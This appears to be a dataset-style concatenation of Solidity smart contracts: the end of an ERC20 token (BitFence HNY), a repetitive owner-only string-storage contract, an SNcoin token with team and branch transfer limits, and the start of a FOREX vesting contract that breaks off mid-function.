* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract HNYToken is BurnableToken, MintableToken, PausableToken {
string public constant name = "BitFence Token";
string public constant symbol = "HNY";
uint8 public constant decimals = 18;
}
|
True
|
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] |
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pragma solidity ^0.4.8 ;
contract PI_EDIT_1 {
address owner ;
function PI_EDIT_1 () public {
owner = msg.sender;
}
modifier onlyOwner () {
require(msg.sender == owner );
_;
}
// 1 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_1 = " une première phrase " ;
function setPI_edit_1 ( string newPI_edit_1 ) public onlyOwner {
inPI_edit_1 = newPI_edit_1 ;
}
function getPI_edit_1 () public constant returns ( string ) {
return inPI_edit_1 ;
}
// 2 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_2 = " une première phrase " ;
function setPI_edit_2 ( string newPI_edit_2 ) public onlyOwner {
inPI_edit_2 = newPI_edit_2 ;
}
function getPI_edit_2 () public constant returns ( string ) {
return inPI_edit_2 ;
}
// 3 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_3 = " une première phrase " ;
function setPI_edit_3 ( string newPI_edit_3 ) public onlyOwner {
inPI_edit_3 = newPI_edit_3 ;
}
function getPI_edit_3 () public constant returns ( string ) {
return inPI_edit_3 ;
}
// 4 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_4 = " une première phrase " ;
function setPI_edit_4 ( string newPI_edit_4 ) public onlyOwner {
inPI_edit_4 = newPI_edit_4 ;
}
function getPI_edit_4 () public constant returns ( string ) {
return inPI_edit_4 ;
}
// 5 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_5 = " une première phrase " ;
function setPI_edit_5 ( string newPI_edit_5 ) public onlyOwner {
inPI_edit_5 = newPI_edit_5 ;
}
function getPI_edit_5 () public constant returns ( string ) {
return inPI_edit_5 ;
}
// 6 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_6 = " une première phrase " ;
function setPI_edit_6 ( string newPI_edit_6 ) public onlyOwner {
inPI_edit_6 = newPI_edit_6 ;
}
function getPI_edit_6 () public constant returns ( string ) {
return inPI_edit_6 ;
}
// 7 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_7 = " une première phrase " ;
function setPI_edit_7 ( string newPI_edit_7 ) public onlyOwner {
inPI_edit_7 = newPI_edit_7 ;
}
function getPI_edit_7 () public constant returns ( string ) {
return inPI_edit_7 ;
}
// 8 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_8 = " une première phrase " ;
function setPI_edit_8 ( string newPI_edit_8 ) public onlyOwner {
inPI_edit_8 = newPI_edit_8 ;
}
function getPI_edit_8 () public constant returns ( string ) {
return inPI_edit_8 ;
}
// 9 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_9 = " une première phrase " ;
function setPI_edit_9 ( string newPI_edit_9 ) public onlyOwner {
inPI_edit_9 = newPI_edit_9 ;
}
function getPI_edit_9 () public constant returns ( string ) {
return inPI_edit_9 ;
}
// 10 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_10 = " une première phrase " ;
function setPI_edit_10 ( string newPI_edit_10 ) public onlyOwner {
inPI_edit_10 = newPI_edit_10 ;
}
function getPI_edit_10 () public constant returns ( string ) {
return inPI_edit_10 ;
}
// 11 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_11 = " une première phrase " ;
function setPI_edit_11 ( string newPI_edit_11 ) public onlyOwner {
inPI_edit_11 = newPI_edit_11 ;
}
function getPI_edit_11 () public constant returns ( string ) {
return inPI_edit_11 ;
}
// 12 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_12 = " une première phrase " ;
function setPI_edit_12 ( string newPI_edit_12 ) public onlyOwner {
inPI_edit_12 = newPI_edit_12 ;
}
function getPI_edit_12 () public constant returns ( string ) {
return inPI_edit_12 ;
}
// 13 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_13 = " une première phrase " ;
function setPI_edit_13 ( string newPI_edit_13 ) public onlyOwner {
inPI_edit_13 = newPI_edit_13 ;
}
function getPI_edit_13 () public constant returns ( string ) {
return inPI_edit_13 ;
}
// 14 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_14 = " une première phrase " ;
function setPI_edit_14 ( string newPI_edit_14 ) public onlyOwner {
inPI_edit_14 = newPI_edit_14 ;
}
function getPI_edit_14 () public constant returns ( string ) {
return inPI_edit_14 ;
}
// 15 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_15 = " une première phrase " ;
function setPI_edit_15 ( string newPI_edit_15 ) public onlyOwner {
inPI_edit_15 = newPI_edit_15 ;
}
function getPI_edit_15 () public constant returns ( string ) {
return inPI_edit_15 ;
}
// 16 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_16 = " une première phrase " ;
function setPI_edit_16 ( string newPI_edit_16 ) public onlyOwner {
inPI_edit_16 = newPI_edit_16 ;
}
function getPI_edit_16 () public constant returns ( string ) {
return inPI_edit_16 ;
}
// 17 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_17 = " une première phrase " ;
function setPI_edit_17 ( string newPI_edit_17 ) public onlyOwner {
inPI_edit_17 = newPI_edit_17 ;
}
function getPI_edit_17 () public constant returns ( string ) {
return inPI_edit_17 ;
}
// 18 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_18 = " une première phrase " ;
function setPI_edit_18 ( string newPI_edit_18 ) public onlyOwner {
inPI_edit_18 = newPI_edit_18 ;
}
function getPI_edit_18 () public constant returns ( string ) {
return inPI_edit_18 ;
}
// 19 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_19 = " une première phrase " ;
function setPI_edit_19 ( string newPI_edit_19 ) public onlyOwner {
inPI_edit_19 = newPI_edit_19 ;
}
function getPI_edit_19 () public constant returns ( string ) {
return inPI_edit_19 ;
}
// 20 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_20 = " une première phrase " ;
function setPI_edit_20 ( string newPI_edit_20 ) public onlyOwner {
inPI_edit_20 = newPI_edit_20 ;
}
function getPI_edit_20 () public constant returns ( string ) {
return inPI_edit_20 ;
}
// 21 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_21 = " une première phrase " ;
function setPI_edit_21 ( string newPI_edit_21 ) public onlyOwner {
inPI_edit_21 = newPI_edit_21 ;
}
function getPI_edit_21 () public constant returns ( string ) {
return inPI_edit_21 ;
}
// 22 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_22 = " une première phrase " ;
function setPI_edit_22 ( string newPI_edit_22 ) public onlyOwner {
inPI_edit_22 = newPI_edit_22 ;
}
function getPI_edit_22 () public constant returns ( string ) {
return inPI_edit_22 ;
}
// 23 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_23 = " une première phrase " ;
function setPI_edit_23 ( string newPI_edit_23 ) public onlyOwner {
inPI_edit_23 = newPI_edit_23 ;
}
function getPI_edit_23 () public constant returns ( string ) {
return inPI_edit_23 ;
}
// 24 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_24 = " une première phrase " ;
function setPI_edit_24 ( string newPI_edit_24 ) public onlyOwner {
inPI_edit_24 = newPI_edit_24 ;
}
function getPI_edit_24 () public constant returns ( string ) {
return inPI_edit_24 ;
}
// 25 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_25 = " une première phrase " ;
function setPI_edit_25 ( string newPI_edit_25 ) public onlyOwner {
inPI_edit_25 = newPI_edit_25 ;
}
function getPI_edit_25 () public constant returns ( string ) {
return inPI_edit_25 ;
}
// 26 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_26 = " une première phrase " ;
function setPI_edit_26 ( string newPI_edit_26 ) public onlyOwner {
inPI_edit_26 = newPI_edit_26 ;
}
function getPI_edit_26 () public constant returns ( string ) {
return inPI_edit_26 ;
}
// 27 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_27 = " une première phrase " ;
function setPI_edit_27 ( string newPI_edit_27 ) public onlyOwner {
inPI_edit_27 = newPI_edit_27 ;
}
function getPI_edit_27 () public constant returns ( string ) {
return inPI_edit_27 ;
}
// 28 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_28 = " une première phrase " ;
function setPI_edit_28 ( string newPI_edit_28 ) public onlyOwner {
inPI_edit_28 = newPI_edit_28 ;
}
function getPI_edit_28 () public constant returns ( string ) {
return inPI_edit_28 ;
}
// 29 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_29 = " une première phrase " ;
function setPI_edit_29 ( string newPI_edit_29 ) public onlyOwner {
inPI_edit_29 = newPI_edit_29 ;
}
function getPI_edit_29 () public constant returns ( string ) {
return inPI_edit_29 ;
}
// 30 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_30 = " une première phrase " ;
function setPI_edit_30 ( string newPI_edit_30 ) public onlyOwner {
inPI_edit_30 = newPI_edit_30 ;
}
function getPI_edit_30 () public constant returns ( string ) {
return inPI_edit_30 ;
}
// 31 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_31 = " une première phrase " ;
function setPI_edit_31 ( string newPI_edit_31 ) public onlyOwner {
inPI_edit_31 = newPI_edit_31 ;
}
function getPI_edit_31 () public constant returns ( string ) {
return inPI_edit_31 ;
}
// 32 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_32 = " une première phrase " ;
function setPI_edit_32 ( string newPI_edit_32 ) public onlyOwner {
inPI_edit_32 = newPI_edit_32 ;
}
function getPI_edit_32 () public constant returns ( string ) {
return inPI_edit_32 ;
}
// 33 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_33 = " une première phrase " ;
function setPI_edit_33 ( string newPI_edit_33 ) public onlyOwner {
inPI_edit_33 = newPI_edit_33 ;
}
function getPI_edit_33 () public constant returns ( string ) {
return inPI_edit_33 ;
}
// 34 IN DATA / SET DATA / GET DATA / STRING / PUBLIC / ONLY OWNER / CONSTANT
string inPI_edit_34 = " une première phrase " ;
function setPI_edit_34 ( string newPI_edit_34 ) public onlyOwner {
inPI_edit_34 = newPI_edit_34 ;
}
function getPI_edit_34 () public constant returns ( string ) {
return inPI_edit_34 ;
}
}
|
True
|
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pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount_old The current allowed amount in the `approve()` call
/// @param _amount_new The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount_old, uint _amount_new) public returns(bool);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract SNcoin_Token is ERC20Interface, Owned {
string public constant symbol = "SNcoin";
string public constant name = "scientificcoin";
uint8 public constant decimals = 18;
uint private constant _totalSupply = 100000000 * 10**uint(decimals);
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
struct LimitedBalance {
uint8 limitType;
uint initial;
}
mapping(address => LimitedBalance) limited_balances;
uint8 public constant limitDefaultType = 0;
uint8 public constant limitTeamType = 1;
uint8 public constant limitBranchType = 2;
uint8 private constant limitTeamIdx = 0;
uint8 private constant limitBranchIdx = 1;
uint8[limitBranchType] private limits;
uint8 private constant limitTeamInitial = 90;
uint8 private constant limitBranchInitial = 90;
uint8 private constant limitTeamStep = 3;
uint8 private constant limitBranchStep = 10;
address public controller;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
balances[owner] = _totalSupply;
transfersEnabled = true;
limits[limitTeamIdx] = limitTeamInitial;
limits[limitBranchIdx] = limitBranchInitial;
emit Transfer(address(0), owner, _totalSupply);
}
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function setController(address _newController) public onlyOwner {
controller = _newController;
}
function limitOfTeam() public constant returns (uint8 limit) {
return 100 - limits[limitTeamIdx];
}
function limitOfBranch() public constant returns (uint8 limit) {
return 100 - limits[limitBranchIdx];
}
function getLimitTypeOf(address tokenOwner) public constant returns (uint8 limitType) {
return limited_balances[tokenOwner].limitType;
}
function getLimitedBalanceOf(address tokenOwner) public constant returns (uint balance) {
if (limited_balances[tokenOwner].limitType > 0) {
require(limited_balances[tokenOwner].limitType <= limitBranchType);
uint minimumLimit = (limited_balances[tokenOwner].initial * limits[limited_balances[tokenOwner].limitType - 1])/100;
require(balances[tokenOwner] >= minimumLimit);
return balances[tokenOwner] - minimumLimit;
}
return balanceOf(tokenOwner);
}
function incrementLimitTeam() public onlyOwner returns (bool success) {
require(transfersEnabled);
uint8 previousLimit = limits[limitTeamIdx];
if ( previousLimit - limitTeamStep >= 100) {
limits[limitTeamIdx] = 0;
} else {
limits[limitTeamIdx] = previousLimit - limitTeamStep;
}
return true;
}
function incrementLimitBranch() public onlyOwner returns (bool success) {
require(transfersEnabled);
uint8 previousLimit = limits[limitBranchIdx];
if ( previousLimit - limitBranchStep >= 100) {
limits[limitBranchIdx] = 0;
} else {
limits[limitBranchIdx] = previousLimit - limitBranchStep;
}
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address _spender, uint _amount) public returns (bool success) {
require(transfersEnabled);
// Alerts the token controller of the approve function call
if (controller != 0) {
require(TokenController(controller).onApprove(msg.sender, _spender, allowed[msg.sender][_spender], _amount));
}
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address _to, uint _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
require(transfersEnabled);
// The standard ERC 20 transferFrom functionality
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
doTransfer(_from, _to, _amount);
return true;
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferToTeam(address _to, uint _amount) public onlyOwner returns (bool success) {
require(transfersEnabled);
transferToLimited(msg.sender, _to, _amount, limitTeamType);
return true;
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferToBranch(address _to, uint _amount) public onlyOwner returns (bool success) {
require(transfersEnabled);
transferToLimited(msg.sender, _to, _amount, limitBranchType);
return true;
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferToLimited(address _from, address _to, uint _amount, uint8 _limitType) internal {
require((_limitType >= limitTeamType) && (_limitType <= limitBranchType));
require((limited_balances[_to].limitType == 0) || (limited_balances[_to].limitType == _limitType));
doTransfer(_from, _to, _amount);
uint previousLimitedBalanceInitial = limited_balances[_to].initial;
require(previousLimitedBalanceInitial + _amount >= previousLimitedBalanceInitial); // Check for overflow
limited_balances[_to].initial = previousLimitedBalanceInitial + _amount;
limited_balances[_to].limitType = _limitType;
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount) internal {
if (_amount == 0) {
emit Transfer(_from, _to, _amount); // Follow the spec to louch the event when transfer 0
return;
}
// Do not allow transfer to 0x0 or the token contract itself
require((_to != 0) && (_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer throws
uint previousBalanceFrom = balanceOf(_from);
require(previousBalanceFrom >= _amount);
// Alerts the token controller of the transfer
if (controller != 0) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
// First update the balance array with the new value for the address
// sending the tokens
balances[_from] = previousBalanceFrom - _amount;
if (limited_balances[_from].limitType > 0) {
require(limited_balances[_from].limitType <= limitBranchType);
uint minimumLimit = (limited_balances[_from].initial * limits[limited_balances[_from].limitType - 1])/100;
require(balances[_from] >= minimumLimit);
}
// Then update the balance array with the new value for the address
// receiving the tokens
uint previousBalanceTo = balanceOf(_to);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
balances[_to] = previousBalanceTo + _amount;
// An event to make the transfer easy to find on the blockchain
emit Transfer(_from, _to, _amount);
}
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) public onlyOwner {
transfersEnabled = _transfersEnabled;
}
/// @notice This method can be used by the owner to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(address(this).balance);
return;
}
ERC20Interface token = ERC20Interface(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
emit ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount);
}
|
True
|
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] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/* *\
* ,.-"""-., *
* / === \ *
* / ======= \ *
* __| (o) (0) |__ *
* / _| .---. |_ \ *
* | /.----/ O O \----.\ | *
* \/ | | \/ *
* | | *
* | | *
* | | *
* _\ -.,_____,.- /_ *
* ,.-" "-.,_________,.-" "-., *
* / | | ╭-╮ \ *
* | l. .l ┃ ┃ | *
* | | | ┃ ╰━━╮ | *
* l. | | ┃ ╭╮ ┃ .l *
* | l. .l ┃ ┃┃ ┃ | \, *
* l. | | ╰-╯╰-╯ .l \, *
* | | | | \, *
* l. | | .l | *
* | | | | | *
* | |---| | | *
* | | | | | *
* /"-.,__,.-"\ /"-.,__,.-"\"-.,_,.-"\ *
* | \ / | | *
* | | | | *
* \__|__|__|__/ \__|__|__|__/ \_|__|__/ *
\* */
contract ForexVesting is Ownable {
using SafeERC20 for IERC20;
/** @dev Canonical FOREX token address */
address public immutable FOREX;
/** @dev The vesting period in seconds at which the FOREX supply for each
participant is accrued as claimable each second according to their
vested value */
uint256 public immutable vestingPeriod;
/** @dev Minimum delay (in seconds) between user claims. */
uint256 public immutable minimumClaimDelay;
/** @dev Date from which participants can claim their immediate value, and
from which the vested value starts accruing as claimable */
uint256 public claimStartDate;
/** @dev Mapping of (participant address => participant vesting data) */
mapping(address => Participant) public participants;
/** @dev Total funds required by contract. Used for asserting the contract
has been correctly funded after deployment */
uint256 public immutable forexSupply;
/** @dev Vesting data for participant */
struct Participant {
/* Amount initially claimable at any time from the claimStartDate */
uint256 claimable;
/* Total vested amount released in equal amounts throughout the
vesting period. */
uint256 vestedValue;
/* Date at which the participant last claimed FOREX */
uint256 lastClaimDate;
}
event ParticipantAddressChanged(
address indexed previous,
address indexed current
);
constructor(
address _FOREX,
uint256 _vestingPeriod,
uint256 _minimumClaimDelay,
address[] memory participantAddresses,
uint256[] memory initiallyClaimable,
uint256[] memory vestedValues
) {
// Assert that the minimum claim delay is greater than zero seconds.
assert(_minimumClaimDelay > 0);
// Assert that the vesting period is a multiple of the minimum delay.
assert(_vestingPeriod % _minimumClaimDelay == 0);
// Assert all array lengths match.
uint256 length = participantAddresses.length;
assert(length == initiallyClaimable.length);
assert(length == vestedValues.length);
// Initialise immutable variables.
FOREX = _FOREX;
vestingPeriod = _vestingPeriod;
minimumClaimDelay = _minimumClaimDelay;
uint256 _forexSupply = 0;
// Initialise participants mapping.
for (uint256 i = 0; i < length; i++) {
participants[participantAddresses[i]] = Participant({
claimable: initiallyClaimable[i],
vestedValue: vestedValues[i],
lastClaimDate: 0
});
_forexSupply += initiallyClaimable[i] + vestedValues[i];
}
forexSupply = _forexSupply;
}
/**
* @dev Transfers claimable FOREX to participant.
*/
function claim() external {
require(isClaimable(), "Funds not yet claimable");
Participant storage participant = participants[msg.sender];
require(
block.timestamp >= participant.lastClaimDate + minimumClaimDelay,
"Must wait before next claim"
);
uint256 cutoffTime = getLastCutoffTime(msg.sender);
uint256 claimable = _balanceOf(msg.sender, cutoffTime);
if (claimable == 0) return;
// Reset vesting period for accruing new FOREX.
// This starts at the claim date and then is incremented in
// a value multiple of minimumClaimDelay.
participant.lastClaimDate = cutoffTime;
// Clear initial claimable amount if claiming for the first time.
if (participant.claimable > 0) participant.claimable = 0;
// Transfer tokens.
IERC20(FOREX).safeTransfer(msg.sender, claimable);
}
/**
* @dev Returns the last valid claim date for a participant.
* The difference between this value and the participant's
* last claim date is the actual claimable amount that
* can be transferred so that the minimum delay also enforces
* a minimum FOREX claim granularity.
* @param account The participant account to fetch the cutoff time for.
*/
function getLastCutoffTime(address account) public view returns (uint256) {
Participant storage participant = participants[account];
uint256 lastClaimDate = getParticipantLastClaimDate(participant);
uint256 elapsed = block.timestamp - lastClaimDate;
uint256 remainder = elapsed % minimumClaimDelay;
if (elapsed > remainder) {
// At least one cutoff time has passed.
return lastClaimDate + elapsed - remainder;
} else {
// Next cutoff time not yet reached.
return lastClaimDate;
}
}
/**
* @dev Returns the parsed last claim date for a participant.
* Instead of returning the default date of zero, it returns
* the claim start date.
* @param participant The storage pointer to a participant.
*/
function getParticipantLastClaimDate(Participant storage participant)
private
view
returns (uint256)
{
return
participant.lastClaimDate > claimStartDate
? participant.lastClaimDate
: claimStartDate;
}
/**
* @dev Returns the accrued FOREX balance for an participant.
* This amount may not be fully claimable yet.
* @param account The participant to fetch the balance for.
*/
function balanceOf(address account) public view returns (uint256) {
return _balanceOf(account, block.timestamp);
}
/**
* @dev Returns the claimable FOREX balance for an participant.
* @param account The participant to fetch the balance for.
* @param cutoffTime The time to fetch the balance from.
*/
function _balanceOf(address account, uint256 cutoffTime)
public
view
returns (uint256)
{
if (!isClaimable()) return 0;
Participant storage participant = participants[account];
uint256 lastClaimed = getParticipantLastClaimDate(participant);
uint256 vestingCompleteDate = claimStartDate + vestingPeriod;
